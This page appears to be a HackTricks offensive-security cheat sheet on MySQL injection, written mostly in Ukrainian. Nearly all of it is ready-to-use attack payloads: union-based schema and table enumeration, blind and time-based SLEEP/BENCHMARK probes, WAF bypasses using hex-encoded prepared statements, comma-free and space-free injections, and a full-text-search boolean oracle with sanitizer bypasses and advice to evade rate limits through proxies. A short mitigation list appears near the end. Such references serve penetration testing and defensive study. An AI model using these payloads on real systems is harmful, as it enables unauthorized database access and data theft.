MySQL injection

Reading time: 9 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Коментарі

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Цікаві функції

Підтвердити Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Корисні функції

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Всі injection

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

з https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Потік

Пам'ятайте, що в "сучасних" версіях MySQL можна замінити "information_schema.tables" на "mysql.innodb_table_stats" (Це може бути корисно для обходу WAFs).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Тільки 1 значення

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Виявлення кількості стовпців

Використовуючи простий ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Тут показано різні варіанти, як abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Виконання запитів через Prepared Statements

Якщо дозволені stacked queries, можна обійти WAFs, присвоївши змінній hex-представлення запиту, який ви хочете виконати (за допомогою SET), а потім використавши PREPARE та EXECUTE MySQL для виконання цього запиту. Щось на кшталт цього:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Для отримання додаткової інформації зверніться до this blog post.

Information_schema альтернативи

Пам'ятайте, що в «сучасних» версіях MySQL ви можете замінити information_schema.tables на mysql.innodb_table_stats або на sys.x$schema_flattened_keys або на sys.schema_table_statistics

MySQLinjection без COMMAS

Select 2 columns без використання жодної коми (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Отримання значень без назви стовпця

Якщо в якийсь момент ви знаєте назву таблиці, але не знаєте назви стовпців у ній, ви можете спробувати з'ясувати, скільки там стовпців, виконавши щось на кшталт:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Припустивши, що є 2 стовпці (перший — ID, а другий — flag), ви можете спробувати bruteforce вміст flag, перебираючи по одному символу:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Детальніше: https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection без SPACES (/**/ трюк з коментарями)

Деякі застосунки очищують або парсять введення користувача за допомогою функцій, таких як sscanf("%128s", buf), які зупиняються на першому пробілі. Оскільки MySQL трактує послідовність /**/ як коментар і як пробільний символ, її можна використати, щоб повністю видалити звичні пробіли з payload, зберігаючи при цьому запит синтаксично валідним.

Приклад time-based blind injection, що обходить фільтр пробілів:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Що база даних отримує у вигляді:

sql
' OR SLEEP(5)-- -'

Це особливо корисно, коли:

  • Керуємий буфер обмежений за розміром (наприклад, %128s) і пробіли передчасно завершували б введення.
  • Інжекція через HTTP headers або інші поля, де звичайні пробіли видаляються або використовуються як роздільники.
  • У поєднанні з INTO OUTFILE примітивами для досягнення повного pre-auth RCE (див. розділ MySQL File RCE).

Історія MySQL

Ви можете побачити інші виконання всередині MySQL, читаючи таблицю: sys.x$statement_analysis

Версія альтернативи

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

Це не класичний SQL injection. Коли розробники передають вхідні дані користувача в MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL виконує багатий набір Boolean search операторів всередині лапок. Багато правил WAF/SAST фокусуються лише на розриві лапок і не помічають цього вектору.

Key points:

  • Оператори обчислюються всередині лапок: + (має бути присутній), - (не повинен бути присутній), * (постфіксна маска — wildcard), "..." (точна фраза), () (групування), </>/~ (ваги). Див. документацію MySQL.
  • Це дозволяє перевірки на наявність/відсутність та префіксні тести без виходу з рядкового літералу, напр., AGAINST('+admin*' IN BOOLEAN MODE) для перевірки будь-якого слова, що починається з admin.
  • Корисно для побудови оракулів, таких як «чи містить якийсь рядок термін з префіксом X?» та для переліку прихованих рядків шляхом розгортання префікса.

Example query built by the backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Якщо додаток повертає різні відповіді залежно від того, чи порожній набір результатів (наприклад, redirect vs. error message), така поведінка перетворюється на Boolean oracle, який можна використати для перебору приватних даних, таких як приховані/видалені заголовки.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: якщо backend обрізає 1–2 символи в кінці кожного слова за допомогою regex на кшталт (\b.{1,2})(\s)|(\b.{1,2}$), відправте prefix*ZZ. The cleaner trims the ZZ but leaves the *, so prefix* survives.
  • Early-break stripping: якщо код видаляє оператори по словах, але припиняє обробку, коли знаходить будь-який токен довжини ≥ min length, надішліть два токени: перший — junk token, який відповідає порогу довжини, другий несе operator payload. Наприклад: &&&&& +jack*ZZ → після очищення: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 це &, %2B це +. Трейлінговий xD (або будь-які дві літери) обрізається очищувачем, зберігаючи {FUZZ}*.
  • Трактуйте редирект як “match” і сторінку помилки як “no match”. Не слідуйте редиректам автоматично, щоб зробити oracle спостережуваним.

Робочий процес енумерації:

  1. Починайте з {FUZZ} = a…z,0…9, щоб знайти збіги по першій літері через +a*, +b*, …
  2. Для кожного позитивного префікса розгалужуйте: a* → aa* / ab* / …. Повторюйте, щоб відновити весь рядок.
  3. Розподіляйте запити (проксі, кілька акаунтів), якщо додаток застосовує обмеження частоти запитів.

Чому заголовки часто leak, тоді як вміст — ні:

  • Деякі додатки застосовують перевірки видимості тільки після попереднього MATCH по заголовках/темах. Якщо потік керування залежить від результату “any results?” перед фільтрацією, виникають existence leaks.

Заходи пом'якшення:

  • Якщо вам не потрібна Boolean логіка, використовуйте IN NATURAL LANGUAGE MODE або обробляйте введення користувача як літерал (escape/quote відключають оператори в інших режимах).
  • Якщо потрібен Boolean режим, видаляйте або нейтралізуйте всі Boolean оператори (+ - * " ( ) < > ~) для кожного токена (не допускаючи ранніх переривань) після токенізації.
  • Застосовуйте фільтри видимості/авторизації перед MATCH, або уніфікуйте відповіді (константний час/статус) коли набір результатів порожній vs. непорожній.
  • Перегляньте аналогічні можливості в інших DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS також парсять оператори всередині аргументів у лапках.

Примітки:

  • Prepared statements не захищають від семантичного зловживання REGEXP або пошуковими операторами. Вхід на кшталт .* залишається дозволяючим regex навіть всередині цитованого REGEXP '.*'. Використовуйте allow-lists або явні запобіжники.

Other MYSQL injection guides

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks